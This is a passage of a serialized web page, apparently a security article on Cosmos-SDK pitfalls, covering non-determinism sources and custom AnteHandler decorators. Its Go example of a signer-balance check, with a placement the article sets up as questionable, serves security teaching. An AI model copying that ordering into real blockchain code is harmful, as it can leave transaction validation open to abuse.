store",{"type":23,"tag":75,"props":2452,"children":2453},{"style":94},[2454],{"type":29,"value":557},{"type":23,"tag":75,"props":2456,"children":2457},{"style":88},[2458],{"type":29,"value":2459},"GetStoreType",{"type":23,"tag":75,"props":2461,"children":2462},{"style":94},[2463],{"type":29,"value":2464},"() ",{"type":23,"tag":75,"props":2466,"children":2467},{"style":209},[2468],{"type":29,"value":2469},"==",{"type":23,"tag":75,"props":2471,"children":2472},{"style":110},[2473],{"type":29,"value":2474}," types",{"type":23,"tag":75,"props":2476,"children":2477},{"style":94},[2478],{"type":29,"value":557},{"type":23,"tag":75,"props":2480,"children":2481},{"style":110},[2482],{"type":29,"value":2483},"StoreTypeTransient",{"type":23,"tag":75,"props":2485,"children":2486},{"style":94},[2487],{"type":29,"value":401},{"type":23,"tag":75,"props":2489,"children":2490},{"class":77,"line":220},[2491],{"type":23,"tag":75,"props":2492,"children":2493},{"style":175},[2494],{"type":29,"value":2495},"            continue\n",{"type":23,"tag":75,"props":2497,"children":2498},{"class":77,"line":248},[2499],{"type":23,"tag":75,"props":2500,"children":2501},{"style":94},[2502],{"type":29,"value":2503},"        }\n",{"type":23,"tag":75,"props":2505,"children":2506},{"class":77,"line":270},[2507,2512,2516,2520,2524,2529,2533,2537,2541,2545],{"type":23,"tag":75,"props":2508,"children":2509},{"style":110},[2510],{"type":29,"value":2511},"        storeInfos",{"type":23,"tag":75,"props":2513,"children":2514},{"style":209},[2515],{"type":29,"value":1193},{"type":23,"tag":75,"props":2517,"children":2518},{"style":88},[2519],{"type":29,"value":1986},{"type":23,"tag":75,"props":2521,"children":2522},{"style":94},[2523],{"type":29,"value":643},{"type":23,"tag":75,"props":2525,"children":2526},{"style":110},[2527],{"type":29,"value":2528},"storeInfos",{"type":23,"tag":75,"props":2530,"children":2531},{"style":94},[2532],{"type":29,"value":611},{"type":23,"tag":75,"props":2534,"children":2535},{"style":104},[2536],{"type":29,"value":2344},{"type":23,"tag":75,"props":2538,"children":2539},{"style":94},[2540],{"type":29,"value":557},{"type":23,"tag":75,"props":2542,"children":2543},{"style":104},[2544],{"type":29,"value":2386},{"type":23,"tag":75,"props":2546,"children":2547},{"style":94},[2548],{"type":29,"value":2549},"{\n",{"type":23,"tag":75,"props":2551,"children":2552},{"class":77,"line":279},[2553,2558,2563,2567,2571,2576],{"type":23,"tag":75,"props":2554,"children":2555},{"style":110},[2556],{"type":29,"value":2557},"            Name",{"type":23,"tag":75,"props":2559,"children":2560},{"style":94},[2561],{"type":29,"value":2562},":     ",{"type":23,"tag":75,"props":2564,"children":2565},{"style":110},[2566],{"type":29,"value":1779},{"type":23,"tag":75,"props":2568,"children":2569},{"style":94},[2570],{"type":29,"value":557},{"type":23,"tag":75,"props":2572,"children":2573},{"style":88},[2574],{"type":29,"value":2575},"Name",{"type":23,"tag":75,"props":2577,"children":2578},{"style":94},[2579],{"type":29,"value":2580},"(),\n",{"type":23,"tag":75,"props":2582,"children":2583},{"class":77,"line":303},[2584,2589,2593,2597,2601,2606],{"type":23,"tag":75,"props":2585,"children":2586},{"style":110},[2587],{"type":29,"value":2588},"            CommitId",{"type":23,"tag":75,"props":2590,"children":2591},{"style":94},[2592],{"type":29,"value":863},{"type":23,"tag":75,"props":2594,"children":2595},{"style":110},[2596],{"type":29,"value":2411},{"type":23,"tag":75,"props":2598,"children":2599},{"style":94},[2600],{"type":29,"value":557},{"type":23,"tag":75,"props":2602,"children":2603},{"style":88},[2604],{"type":29,"value":2605},"LastCommitID",{"type":23,"tag":75,"props":2607,"children":2608},{"style":94},[2609],{"type":29,"value":2580},{"type":23,"tag":75,"props":2611,"children":2612},{"class":77,"line":322},[2613],{"type":23,"tag":75,"props":2614,"children":2615},{"style":94},[2616],{"type":29,"value":2617},"        })\n",{"type":23,"tag":75,"props":2619,"children":2620},{"class":77,"line":340},[2621],{"type":23,"tag":75,"props":2622,"children":2623},{"style":94},[2624],{"type":29,"value":346},{"type":23,"tag":75,"props":2626,"children":2627},{"class":77,"line":349},[2628,2632,2636,2640,2644,2648],{"type":23,"tag":75,"props":2629,"children":2630},{"style":175},[2631],{"type":29,"value":355},{"type":23,"tag":75,"props":2633,"children":2634},{"style":209},[2635],{"type":29,"value":844},{"type":23,"tag":75,"props":2637,"children":2638},{"style":104},[2639],{"type":29,"value":2344},{"type":23,"tag":75,"props":2641,"children":2642},{"style":94},[2643],{"type":29,"value":557},{"type":23,"tag":75,"props":2645,"children":2646},{"style":104},[2647],{"type":29,"value":2353},{"type":23,"tag":75,"props":2649,"children":2650},{"style":94},[2651],{"type":29,"value":2549},{"type":23,"tag":75,"props":2653,"children":2654},{"class":77,"line":363},[2655,2660,2665,2670],{"type":23,"tag":75,"props":2656,"children":2657},{"style":110},[2658],{"type":29,"value":2659},"        Version",{"type":23,"tag":75,"props":2661,"children":2662},{"style":94},[2663],{"type":29,"value":2664},":    ",{"type":23,"tag":75,"props":2666,"children":2667},{"style":110},[2668],{"type":29,"value":2669},"version",{"type":23,"tag":75,"props":2671,"children":2672},{"style":94},[2673],{"type":29,"value":118},{"type":23,"tag":75,"props":2675,"children":2676},{"class":77,"line":656},[2677,2682,2686,2690],{"type":23,"tag":75,"props":2678,"children":2679},{"style":110},[2680],{"type":29,"value":2681},"        StoreInfos",{"type":23,"tag":75,"props":2683,"children":2684},{"style":94},[2685],{"type":29,"value":863},{"type":23,"tag":75,"props":2687,"children":2688},{"style":110},[2689],{"type":29,"value":2528},{"type":23,"tag":75,"props":2691,"children":2692},{"style":94},[2693],{"type":29,"value":118},{"type":23,"tag":75,"props":2695,"children":2696},{"class":77,"line":705},[2697],{"type":23,"tag":75,"props":2698,"children":2699},{"style":94},[2700],{"type":29,"value":346},{"type":23,"tag":75,"props":2702,"children":2703},{"class":77,"line":787},[2704],{"type":23,"tag":75,"props":2705,"children":2706},{"style":94},[2707],{"type":29,"value":369},{"type":23,"tag":32,"props":2709,"children":2710},{},[2711,2713,2720,2722,2729],{"type":29,"value":2712},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":940,"props":2714,"children":2717},{"href":2715,"rel":2716},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[944],[2718],{"type":29,"value":2719},"time-sensitive functions",{"type":29,"value":2721}," and ",{"type":23,"tag":940,"props":2723,"children":2726},{"href":2724,"rel":2725},"https://github.com/cosmos/cosmos-sdk/issues/16638",[944],[2727],{"type":29,"value":2728},"race conditions",{"type":29,"value":557},{"type":23,"tag":24,"props":2731,"children":2733},{"id":2732},"thou-shalt-not-passor-should-you",[2734],{"type":29,"value":2735},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":32,"props":2737,"children":2738},{},[2739,2741,2747,2748,2754],{"type":29,"value":2740},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":71,"props":2742,"children":2744},{"className":2743},[],[2745],{"type":29,"value":2746},"msg.value",{"type":29,"value":611},{"type":23,"tag":71,"props":2749,"children":2751},{"className":2750},[],[2752],{"type":29,"value":2753},"msg.sender",{"type":29,"value":2755},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":32,"props":2757,"children":2758},{},[2759,2761,2767,2769,2775],{"type":29,"value":2760},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":71,"props":2762,"children":2764},{"className":2763},[],[2765],{"type":29,"value":2766},"Cosmos-SDK",{"type":29,"value":2768}," introduces ",{"type":23,"tag":71,"props":2770,"children":2772},{"className":2771},[],[2773],{"type":29,"value":2774},"AnteHandler",{"type":29,"value":2776}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":32,"props":2778,"children":2779},{},[2780,2782,2787,2789,2794],{"type":29,"value":2781},"To provide context, let's first understand how an ",{"type":23,"tag":71,"props":2783,"children":2785},{"className":2784},[],[2786],{"type":29,"value":2774},{"type":29,"value":2788}," is processed. Each ",{"type":23,"tag":71,"props":2790,"children":2792},{"className":2791},[],[2793],{"type":29,"value":2774},{"type":29,"value":2795}," is a state transition function that can:",{"type":23,"tag":2797,"props":2798,"children":2799},"ol",{},[2800,2806],{"type":23,"tag":2801,"props":2802,"children":2803},"li",{},[2804],{"type":29,"value":2805},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":2801,"props":2807,"children":2808},{},[2809,2811],{"type":29,"value":2810},"Determine the course of action for the transaction.\n",{"type":23,"tag":2797,"props":2812,"children":2813},{},[2814,2825],{"type":23,"tag":2801,"props":2815,"children":2816},{},[2817,2819,2824],{"type":29,"value":2818},"Pass the transaction to the next ",{"type":23,"tag":71,"props":2820,"children":2822},{"className":2821},[],[2823],{"type":29,"value":2774},{"type":29,"value":557},{"type":23,"tag":2801,"props":2826,"children":2827},{},[2828],{"type":29,"value":2829},"Return error for transaction.",{"type":23,"tag":32,"props":2831,"children":2832},{},[2833,2835,2840],{"type":29,"value":2834},"The bad news is that developing an ",{"type":23,"tag":71,"props":2836,"children":2838},{"className":2837},[],[2839],{"type":29,"value":2774},{"type":29,"value":2841}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":32,"props":2843,"children":2844},{},[2845,2847,2853],{"type":29,"value":2846},"The ",{"type":23,"tag":71,"props":2848,"children":2850},{"className":2849},[],[2851],{"type":29,"value":2852},"AnteHandle",{"type":29,"value":2854}," implementation may look something like this:",{"type":23,"tag":64,"props":2856,"children":2858},{"code":2857,"language":373,"meta":7,"className":374,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[2859],{"type":23,"tag":71,"props":2860,"children":2861},{"__ignoreMap":7},[2862,2875,2892,2899,2906,2939,2964,2989,3006,3030,3062,3111,3131,3165,3186,3198,3205,3212,3219,3250,3288,3353,3388,3421,3434,3447,3455,3463,3471,3479,3522],{"type":23,"tag":75,"props":2863,"children":2864},{"class":77,"line":78},[2865,2870],{"type":23,"tag":75,"props":2866,"children":2867},{"style":82},[2868],{"type":29,"value":2869},"const",{"type":23,"tag":75,"props":2871,"children":2872},{"style":94},[2873],{"type":29,"value":2874}," (\n",{"type":23,"tag":75,"props":2876,"children":2877},{"class":77,"line":100},[2878,2883,2887],{"type":23,"tag":75,"props":2879,"children":2880},{"style":110},[2881],{"type":29,"value":2882},"    MIN_BALANCE",{"type":23,"tag":75,"props":2884,"children":2885},{"style":209},[2886],{"type":29,"value":1193},{"type":23,"tag":75,"props":2888,"children":2889},{"style":237},[2890],{"type":29,"value":2891}," 100\n",{"type":23,"tag":75,"props":2893,"children":2894},{"class":77,"line":121},[2895],{"type":23,"tag":75,"props":2896,"children":2897},{"style":94},[2898],{"type":29,"value":653},{"type":23,"tag":75,"props":2900,"children":2901},{"class":77,"line":138},[2902],{"type":23,"tag":75,"props":2903,"children":2904},{"emptyLinePlaceholder":15},[2905],{"type":29,"value":276},{"type":23,"tag":75,"props":2907,"children":2908},{"class":77,"line":161},[2909,2913,2917,2922,2927,2931,2935],{"type":23,"tag":75,"props":2910,"children":2911},{"style":82},[2912],{"type":29,"value":512},{"type":23,"tag":75,"props":2914,"children":2915},{"style":94},[2916],{"type":29,"value":183},{"type":23,"tag":75,"props":2918,"children":2919},{"style":110},[2920],{"type":29,"value":2921},"abd ",{"type":23,"tag":75,"props":2923,"children":2924},{"style":104},[2925],{"type":29,"value":2926},"AccountBalanceDecorator",{"type":23,"tag":75,"props":2928,"children":2929},{"style":94},[2930],{"type":29,"value":167},{"type":23,"tag":75,"props":2932,"children":2933},{"style":88},[2934],{"type":29,"value":2852},{"type":23,"tag":75,"props":2936,"children":2937},{"style":94},[2938],{"type":29,"value":97},{"type":23,"tag":75,"props":2940,"children":2941},{"class":77,"line":196},[2942,2947,2952,2956,2960],{"type":23,"tag":75,"props":2943,"children":2944},{"style":110},[2945],{"type":29,"value":2946},"    ctx",{"type":23,"tag":75,"props":2948,"children":2949},{"style":104},[2950],{"type":29,"value":2951}," sdk",{"type":23,"tag":75,"props":2953,"children":2954},{"style":94},[2955],{"type":29,"value":557},{"type":23,"tag":75,"props":2957,"children":2958},{"style":104},[2959],{"type":29,"value":562},{"type":23,"tag":75,"props":2961,"children":2962},{"style":94},[2963],{"type":29,"value":118},{"type":23,"tag":75,"props":2965,"children":2966},{"class":77,"line":220},[2967,2972,2976,2980,2985],{"type":23,"tag":75,"props":2968,"children":2969},{"style":110},[2970],{"type":29,"value":2971},"    tx",{"type":23,"tag":75,"props":2973,"children":2974},{"style":104},[2975],{"type":29,"value":2951},{"type":23,"tag":75,"props":2977,"children":2978},{"style":94},[2979],{"type":29,"value":557},{"type":23,"tag":75,"props":2981,"children":2982},{"style":104},[2983],{"type":29,"value":2984},"Tx",{"type":23,"tag":75,"props":2986,"children":2987},{"style":94},[2988],{"type":29,"value":118},{"type":23,"tag":75,"props":2990,"children":2991},{"class":77,"line":248},[2992,2997,3002],{"type":23,"tag":75,"props":2993,"children":2994},{"style":110},[2995],{"type":29,"value":2996},"    simulate",{"type":23,"tag":75,"props":2998,"children":2999},{"style":104},[3000],{"type":29,"value":3001}," bool",{"type":23,"tag":75,"props":3003,"children":3004},{"style":94},[3005],{"type":29,"value":118},{"type":23,"tag":75,"props":3007,"children":3008},{"class":77,"line":270},[3009,3014,3018,3022,3026],{"type":23,"tag":75,"props":3010,"children":3011},{"style":110},[3012],{"type":29,"value":3013},"    next",{"type":23,"tag":75,"props":3015,"children":3016},{"style":104},[3017],{"type":29,"value":2951},{"type":23,"tag":75,"props":3019,"children":3020},{"style":94},[3021],{"type":29,"value":557},{"type":23,"tag":75,"props":3023,"children":3024},{"style":104},[3025],{"type":29,"value":2774},{"type":23,"tag":75,"props":3027,"children":3028},{"style":94},[3029],{"type":29,"value":118},{"type":23,"tag":75,"props":3031,"children":3032},{"class":77,"line":279},[3033,3037,3042,3046,3050,3054,3058],{"type":23,"tag":75,"props":3034,"children":3035},{"style":94},[3036],{"type":29,"value":596},{"type":23,"tag":75,"props":3038,"children":3039},{"style":104},[3040],{"type":29,"value":3041},"sdk",{"type":23,"tag":75,"props":3043,"children":3044},{"style":94},[3045],{"type":29,"value":557},{"type":23,"tag":75,"props":3047,"children":3048},{"style":104},[3049],{"type":29,"value":562},{"type":23,"tag":75,"props":3051,"children":3052},{"style":94},[3053],{"type":29,"value":611},{"type":23,"tag":75,"props":3055,"children":3056},{"style":104},[3057],{"type":29,"value":616},{"type":23,"tag":75,"props":3059,"children":3060},{"style":94},[3061],{"type":29,"value":193},{"type":23,"tag":75,"props":3063,"children":3064},{"class":77,"line":303},[3065,3070,3074,3079,3083,3088,3093,3098,3102,3107],{"type":23,"tag":75,"props":3066,"children":3067},{"style":110},[3068],{"type":29,"value":3069},"    sigTx",{"type":23,"tag":75,"props":3071,"children":3072},{"style":94},[3073],{"type":29,"value":611},{"type":23,"tag":75,"props":3075,"children":3076},{"style":110},[3077],{"type":29,"value":3078},"ok",{"type":23,"tag":75,"props":3080,"children":3081},{"style":209},[3082],{"type":29,"value":633},{"type":23,"tag":75,"props":3084,"children":3085},{"style":110},[3086],{"type":29,"value":3087}," tx",{"type":23,"tag":75,"props":3089,"children":3090},{"style":94},[3091],{"type":29,"value":3092},".(",{"type":23,"tag":75,"props":3094,"children":3095},{"style":104},[3096],{"type":29,"value":3097},"authsigning",{"type":23,"tag":75,"props":3099,"children":3100},{"style":94},[3101],{"type":29,"value":557},{"type":23,"tag":75,"props":3103,"children":3104},{"style":104},[3105],{"type":29,"value":3106},"SigVerifiableTx",{"type":23,"tag":75,"props":3108,"children":3109},{"style":94},[3110],{"type":29,"value":653},{"type":23,"tag":75,"props":3112,"children":3113},{"class":77,"line":322},[3114,3118,3123,3127],{"type":23,"tag":75,"props":3115,"children":3116},{"style":175},[3117],{"type":29,"value":1363},{"type":23,"tag":75,"props":3119,"children":3120},{"style":209},[3121],{"type":29,"value":3122}," !",{"type":23,"tag":75,"props":3124,"children":3125},{"style":110},[3126],{"type":29,"value":3078},{"type":23,"tag":75,"props":3128,"children":3129},{"style":94},[3130],{"type":29,"value":401},{"type":23,"tag":75,"props":3132,"children":3133},{"class":77,"line":340},[3134,3138,3143,3147,3152,3156,3161],{"type":23,"tag":75,"props":3135,"children":3136},{"style":175},[3137],{"type":29,"value":1388},{"type":23,"tag":75,"props":3139,"children":3140},{"style":110},[3141],{"type":29,"value":3142}," ctx",{"type":23,"tag":75,"props":3144,"children":3145},{"style":94},[3146],{"type":29,"value":611},{"type":23,"tag":75,"props":3148,"children":3149},{"style":110},[3150],{"type":29,"value":3151},"errorsmod",{"type":23,"tag":75,"props":3153,"children":3154},{"style":94},[3155],{"type":29,"value":557},{"type":23,"tag":75,"props":3157,"children":3158},{"style":88},[3159],{"type":29,"value":3160},"Wrap",{"type":23,"tag":75,"props":3162,"children":3163},{"style":94},[3164],{"type":29,"value":97},{"type":23,"tag":75,"props":3166,"children":3167},{"class":77,"line":349},[3168,3173,3177,3182],{"type":23,"tag":75,"props":3169,"children":3170},{"style":110},[3171],{"type":29,"value":3172},"            sdkerrors",{"type":23,"tag":75,"props":3174,"children":3175},{"style":94},[3176],{"type":29,"value":557},{"type":23,"tag":75,"props":3178,"children":3179},{"style":110},[3180],{"type":29,"value":3181},"ErrTxDecode",{"type":23,"tag":75,"props":3183,"children":3184},{"style":94},[3185],{"type":29,"value":118},{"type":23,"tag":75,"props":3187,"children":3188},{"class":77,"line":363},[3189,3194],{"type":23,"tag":75,"props":3190,"children":3191},{"style":1266},[3192],{"type":29,"value":3193},"            \"invalid tx type\"",{"type":23,"tag":75,"props":3195,"children":3196},{"style":94},[3197],{"type":29,"value":118},{"type":23,"tag":75,"props":3199,"children":3200},{"class":77,"line":656},[3201],{"type":23,"tag":75,"props":3202,"children":3203},{"style":94},[3204],{"type":29,"value":1808},{"type":23,"tag":75,"props":3206,"children":3207},{"class":77,"line":705},[3208],{"type":23,"tag":75,"props":3209,"children":3210},{"style":94},[3211],{"type":29,"value":346},{"type":23,"tag":75,"props":3213,"children":3214},{"class":77,"line":787},[3215],{"type":23,"tag":75,"props":3216,"children":3217},{"emptyLinePlaceholder":15},[3218],{"type":29,"value":276},{"type":23,"tag":75,"props":3220,"children":3221},{"class":77,"line":826},[3222,3227,3231,3236,3240,3245],{"type":23,"tag":75,"props":3223,"children":3224},{"style":110},[3225],{"type":29,"value":3226},"    signers",{"type":23,"tag":75,"props":3228,"children":3229},{"style":209},[3230],{"type":29,"value":633},{"type":23,"tag":75,"props":3232,"children":3233},{"style":110},[3234],{"type":29,"value":3235}," sigTx",{"type":23,"tag":75,"props":3237,"children":3238},{"style":94},[3239],{"type":29,"value":557},{"type":23,"tag":75,"props":3241,"children":3242},{"style":88},[3243],{"type":29,"value":3244},"GetSigners",{"type":23,"tag":75,"props":3246,"children":3247},{"style":94},[3248],{"type":29,"value":3249},"()\n",{"type":23,"tag":75,"props":3251,"children":3252},{"class":77,"line":834},[3253,3257,3262,3266,3271,3275,3279,3284],{"type":23,"tag":75,"props":3254,"children":3255},{"style":175},[3256],{"type":29,"value":711},{"type":23,"tag":75,"props":3258,"children":3259},{"style":110},[3260],{"type":29,"value":3261}," i",{"type":23,"tag":75,"props":3263,"children":3264},{"style":94},[3265],{"type":29,"value":611},{"type":23,"tag":75,"props":3267,"children":3268},{"style":110},[3269],{"type":29,"value":3270},"signer",{"type":23,"tag":75,"props":3272,"children":3273},{"style":209},[3274],{"type":29,"value":633},{"type":23,"tag":75,"props":3276,"children":3277},{"style":175},[3278],{"type":29,"value":1681},{"type":23,"tag":75,"props":3280,"children":3281},{"style":110},[3282],{"type":29,"value":3283}," signers",{"type":23,"tag":75,"props":3285,"children":3286},{"style":94},[3287],{"type":29,"value":401},{"type":23,"tag":75,"props":3289,"children":3290},{"class":77,"line":881},[3291,3296,3300,3305,3309,3314,3318,3323,3327,3332,3336,3340,3344,3349],{"type":23,"tag":75,"props":3292,"children":3293},{"style":110},[3294],{"type":29,"value":3295},"        balance",{"type":23,"tag":75,"props":3297,"children":3298},{"style":209},[3299],{"type":29,"value":633},{"type":23,"tag":75,"props":3301,"children":3302},{"style":110},[3303],{"type":29,"value":3304}," abd",{"type":23,"tag":75,"props":3306,"children":3307},{"style":94},[3308],{"type":29,"value":557},{"type":23,"tag":75,"props":3310,"children":3311},{"style":110},[3312],{"type":29,"value":3313},"bk",{"type":23,"tag":75,"props":3315,"children":3316},{"style":94},[3317],{"type":29,"value":557},{"type":23,"tag":75,"props":3319,"children":3320},{"style":88},[3321],{"type":29,"value":3322},"getBalance",{"type":23,"tag":75,"props":3324,"children":3325},{"style":94},[3326],{"type":29,"value":643},{"type":23,"tag":75,"props":3328,"children":3329},{"style":110},[3330],{"type":29,"value":3331},"ctx",{"type":23,"tag":75,"props":3333,"children":3334},{"style":94},[3335],{"type":29,"value":611},{"type":23,"tag":75,"props":3337,"children":3338},{"style":110},[3339],{"type":29,"value":3270},{"type":23,"tag":75,"props":3341,"children":3342},{"style":94},[3343],{"type":29,"value":611},{"type":23,"tag":75,"props":3345,"children":3346},{"style":110},[3347],{"type":29,"value":3348},"ATOM",{"type":23,"tag":75,"props":3350,"children":3351},{"style":94},[3352],{"type":29,"value":653},{"type":23,"tag":75,"props":3354,"children":3356},{"class":77,"line":3355},22,[3357,3361,3366,3370,3375,3379,3384],{"type":23,"tag":75,"props":3358,"children":3359},{"style":175},[3360],{"type":29,"value":2445},{"type":23,"tag":75,"props":3362,"children":3363},{"style":110},[3364],{"type":29,"value":3365}," balance",{"type":23,"tag":75,"props":3367,"children":3368},{"style":94},[3369],{"type":29,"value":557},{"type":23,"tag":75,"props":3371,"children":3372},{"style":110},[3373],{"type":29,"value":3374},"Amount",{"type":23,"tag":75,"props":3376,"children":3377},{"style":209},[3378],{"type":29,"value":749},{"type":23,"tag":75,"props":3380,"children":3381},{"style":110},[3382],{"type":29,"value":3383}," MIN_BALANCE",{"type":23,"tag":75,"props":3385,"children":3386},{"style":94},[3387],{"type":29,"value":401},{"type":23,"tag":75,"props":3389,"children":3391},{"class":77,"line":3390},23,[3392,3397,3401,3405,3409,3413,3417],{"type":23,"tag":75,"props":3393,"children":3394},{"style":175},[3395],{"type":29,"value":3396},"            return",{"type":23,"tag":75,"props":3398,"children":3399},{"style":110},[3400],{"type":29,"value":3142},{"type":23,"tag":75,"props":3402,"children":3403},{"style":94},[3404],{"type":29,"value":611},{"type":23,"tag":75,"props":3406,"children":3407},{"style":110},[3408],{"type":29,"value":3151},{"type":23,"tag":75,"props":3410,"children":3411},{"style":94},[3412],{"type":29,"value":557},{"type":23,"tag":75,"props":3414,"children":3415},{"style":88},[3416],{"type":29,"value":3160},{"type":23,"tag":75,"props":3418,"children":3419},{"style":94},[3420],{"type":29,"value":97},{"type":23,"tag":75,"props":3422,"children":3424},{"class":77,"line":3423},24,[3425,3430],{"type":23,"tag":75,"props":3426,"children":3427},{"style":110},[3428],{"type":29,"value":3429},"                ErrInsufficientBalance",{"type":23,"tag":75,"props":3431,"children":3432},{"style":94},[3433],{"type":29,"value":118},{"type":23,"tag":75,"props":3435,"children":3437},{"class":77,"line":3436},25,[3438,3443],{"type":23,"tag":75,"props":3439,"children":3440},{"style":1266},[3441],{"type":29,"value":3442},"                \"Insufficient Balance\"",{"type":23,"tag":75,"props":3444,"children":3445},{"style":94},[3446],{"type":29,"value":118},{"type":23,"tag":75,"props":3448,"children":3450},{"class":77,"line":3449},26,[3451],{"type":23,"tag":75,"props":3452,"children":3453},{"style":94},[3454],{"type":29,"value":1800},{"type":23,"tag":75,"props":3456,"children":3458},{"class":77,"line":3457},27,[3459],{"type":23,"tag":75,"props":3460,"children":3461},{"style":94},[3462],{"type":29,"value":2503},{"type":23,"tag":75,"props":3464,"children":3466},{"class":77,"line":3465},28,[3467],{"type":23,"tag":75,"props":3468,"children":3469},{"style":94},[3470],{"type":29,"value":346},{"type":23,"tag":75,"props":3472,"children":3474},{"class":77,"line":3473},29,[3475],{"type":23,"tag":75,"props":3476,"children":3477},{"emptyLinePlaceholder":15},[3478],{"type":29,"value":276},{"type":23,"tag":75,"props":3480,"children":3482},{"class":77,"line":3481},30,[3483,3487,3492,3496,3500,3504,3509,3513,3518],{"type":23,"tag":75,"props":3484,"children":3485},{"style":175},[3486],{"type":29,"value":355},{"type":23,"tag":75,"props":3488,"children":3489},{"style":88},[3490],{"type":29,"value":3491}," next",{"type":23,"tag":75,"props":3493,"children":3494},{"style":94},[3495],{"type":29,"value":643},{"type":23,"tag":75,"props":3497,"children":3498},{"style":110},[3499],{"type":29,"value":3331},{"type":23,"tag":75,"props":3501,"children":3502},{"style":94},[3503],{"type":29,"value":611},{"type":23,"tag":75,"props":3505,"children":3506},{"style":110},[3507],{"type":29,"value":3508},"tx",{"type":23,"tag":75,"props":3510,"children":3511},{"style":94},[3512],{"type":29,"value":611},{"type":23,"tag":75,"props":3514,"children":3515},{"style":110},[3516],{"type":29,"value":3517},"simulate",{"type":23,"tag":75,"props":3519,"children":3520},{"style":94},[3521],{"type":29,"value":653},{"type":23,"tag":75,"props":3523,"children":3525},{"class":77,"line":3524},31,[3526],{"type":23,"tag":75,"props":3527,"children":3528},{"style":94},[3529],{"type":29,"value":369},{"type":23,"tag":32,"props":3531,"children":3532},{},[3533,3535,3540,3542,3548,3550,3556],{"type":29,"value":3534},"Where should this custom ",{"type":23,"tag":71,"props":3536,"children":3538},{"className":3537},[],[3539],{"type":29,"value":2774},{"type":29,"value":3541}," be placed relative to other ",{"type":23,"tag":71,"props":3543,"children":3545},{"className":3544},[],[3546],{"type":29,"value":3547},"AnteHandlers",{"type":29,"value":3549}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":23,"tag":71,"props":3551,"children":3553},{"className":3552},[],[3554],{"type":29,"value":3555},"SetUpContextDecorator",{"type":29,"value":3557}," should work, right?",{"type":23,"tag":32,"props":3559,"children":3560},{},[3561],{"type":23,"tag":940,"props":3562,"children":3565},{"href":3563,"rel":3564},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[944],[3566],{"type":29,"value":982},{"type":23,"tag":64,"props":3568,"children":3570},{"code":3569,"language":373,"meta":7,"className":374,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[3571],{"type":23,"tag":71,"props":3572,"children":3573},{"__ignoreMap":7},[3574,3607,3625,3633,3663,3675,3687,3716,3744,3823,3857,3885,3930,3975,4003],{"type":23,"tag":75,"props":3575,"children":3576},{"class":77,"line":78},[3577,3582,3586,3590,3594,3598,3603],{"type":23,"tag":75,"props":3578,"children":3579},{"style":110},[3580],{"type":29,"value":3581},"anteDecorators",{"type":23,"tag":75,"props":3583,"children":3584},{"style":209},[3585],{"type":29,"value":633},{"type":23,"tag":75,"props":3587,"children":3588},{"style":94},[3589],{"type":29,"value":439},{"type":23,"tag":75,"props":3591,"children":3592},{"style":104},[3593],{"type":29,"value":3041},{"type":23,"tag":75,"props":3595,"children":3596},{"style":94},[3597],{"type":29,"value":557},{"type":23,"tag":75,"props":3599,"children":3600},{"style":104},[3601],{"type":29,"value":3602},"AnteDecorator",{"type":23,"tag":75,"props":3604,"children":3605},{"style":94},[3606],{"type":29,"value":2549},{"type":23,"tag":75,"props":3608,"children":3609},{"class":77,"line":100},[3610,3615,3619],{"type":23,"tag":75,"props":3611,"children":3612},{"style":88},[3613],{"type":29,"value":3614},"    NewSetUpContextDecorator",{"type":23,"tag":75,"props":3616,"children":3617},{"style":94},[3618],{"type":29,"value":1471},{"type":23,"tag":75,"props":3620,"children":3622},{"style":3621},"--shiki-default:#6A9955",[3623],{"type":29,"value":3624},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":75,"props":3626,"children":3627},{"class":77,"line":121},[3628],{"type":23,"tag":75,"props":3629,"children":3630},{"style":3621},[3631],{"type":29,"value":3632},"    // INSERT 